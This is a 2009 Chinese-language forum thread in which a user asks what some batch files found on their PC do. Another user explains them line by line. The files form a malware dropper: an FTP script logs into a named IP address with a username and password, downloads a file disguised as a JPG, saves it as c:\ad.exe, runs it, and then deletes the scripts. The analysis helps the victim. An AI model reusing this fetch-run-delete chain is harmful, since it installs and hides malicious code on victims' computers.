谁能帮忙解释一下红色部分代码的意思？

l88489958

具体内容如下

bat.bat：

ftp -s:c:\explorer
c:\ad.exe
del c:\explorer
cmd.exe /c c:\bat.bat
del c:\ARP.BAT

arp.bat：
del c:\startrun.vbs
del c:\bat.bat

代码中提到的explorer在附件中，AD.EXE已经找不到了

这个东西好像跟小红伞有关，它扫描到那个startrun.VBS，然后我不知道是什么，就让它先隔离一下。

中国崛起

是不是用c:\explorer 进行远程连接啊，我猜的

IllusionWing

不是。。
c:\explorer是一个ftp脚本
ftp -s就是直接加载脚本

中国崛起

您必须使用 -s 选项，FTP 才能在 Windows 下读取该文件。如果以前的脚本位于名为 Test.scr 的文件中，您可以通过键入以下内容启动该脚本：
ftp -s:test.scr
晓得了

l88489958

原帖由 IllusionWing 于 2009-11-8 15:04 发表
不是。。
c:\explorer是一个ftp脚本
ftp -s就是直接加载脚本

能不能解释一下整段代码的意思呀？

IllusionWing

FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-A] [-x:sendbuffer] [-r:recvbuf
fer] [-b:asyncbuffers] [-w:windowsize] [host]

  -v              禁止显示远程服务器响应。
  -n              禁止在初始连接时自动登录。
  -i              关闭多文件传输过程中的
                  交互式提示。
  -d              启用调试。
  -g              禁用文件名通配(请参阅 GLOB 命令)。
  -s:filename     指定包含 FTP 命令的文本文件；命令
                  在 FTP 启动后自动运行。
  -a              在绑字数据连接时使用所有本地接口。
  -A              匿名登录。
  -x:send sockbuf 覆盖默认的 SO_SNDBUF 大小 8192。
  -r:recv sockbuf 覆盖默认的 SO_RCVBUF 大小 8192。
  -b:async count  覆盖默认的异步计数 3
  -w:windowsize   覆盖默认的传输缓冲区大小 65535。
  host            指定主机名称或要连接到的远程主机
                  的 IP 地址。

IllusionWing

下载
ftp://liujun2:123456@59.45.79.202/weblog.jpg到c:\ad.exe然后执行

l88489958

原帖由 IllusionWing 于 2009-11-8 15:11 发表
下载
ftp://liujun2:123456@59.45.79.202/weblog.jpg到c:\ad.exe然后执行

大哥，说完整点好不，我人笨。。。

连起来整个说一说好不好？

找理论上讲，这些个文件应该在执行后都自身删除了，为什么还蹲在我的电脑里？

[ 本帖最后由 l88489958 于 2009-11-8 15:14 编辑 ]

IllusionWing

你RP比较好
我这个说的已经够完整了。。

IllusionWing

open 59.45.79.202 //连接到服务器
liujun2 //用户名
123456 //密码
binary //设置为二进制传输方式
get weblog.jpg c:\ad.exe //从weblog.jpg下载到本地的c:\ad.exe
bye //关闭连接

ftp -s:c:\explorer //执行上述脚本
c:\ad.exe //执行c:\ad.exe
del c:\explorer //删除上述脚本
cmd.exe /c c:\bat.bat //执行bat.bat
del c:\ARP.BAT //删除自身


bat.bat
del c:\startrun.vbs  //删除startrun.vbs

del c:\bat.bat //删除自身